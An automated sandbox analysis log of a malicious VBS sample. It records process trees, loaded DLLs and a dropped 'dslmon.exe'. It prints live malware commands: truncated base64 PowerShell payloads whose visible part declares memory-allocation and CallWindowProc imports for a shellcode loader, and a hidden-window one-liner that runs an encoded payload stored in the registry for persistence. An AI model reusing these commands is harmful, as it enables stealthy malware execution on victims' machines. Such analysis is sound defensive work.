Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_08401DB8	28_2_08401DB8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_08401DA8	28_2_08401DA8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_08405118	28_2_08405118
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_086120B1	28_2_086120B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_086120B1	28_2_086120B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_0328B579	28_2_0328B579
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_07976EC0	28_2_07976EC0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 34_2_204623A0	34_2_204623A0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 34_2_20462FA8	34_2_20462FA8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 34_2_20463850	34_2_20463850
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 34_2_2046306F	34_2_2046306F
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 37_2_203A2FA8	37_2_203A2FA8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 37_2_203A23A0	37_2_203A23A0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 37_2_203A306F	37_2_203A306F
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 37_2_203A3850	37_2_203A3850

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 98%

Source: IMG 0045434.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Section loaded: edgegdi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Section loaded: edgegdi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: edgegdi.dll

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\IMG 0045434.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAc
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kxeayl3s.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1FFF.tmp" "c:\Users\user\AppData\Local\Temp\CSCAB9D447D8E2849BB9EF6D8A3F7C9ADB.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: unknown	Process created: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe "C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe"
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAG
Source: unknown	Process created: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe "C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe"
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAG
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3rumnuxb.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAD7.tmp" "c:\Users\user\AppData\Local\Temp\CSCB1B043D375E64A49ADE1599E795DF7E1.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kar5iszo.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA6F8.tmp" "c:\Users\user\AppData\Local\Temp\CSC12B2DF4544A1496EA7EB89E07B3D3FC6.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAG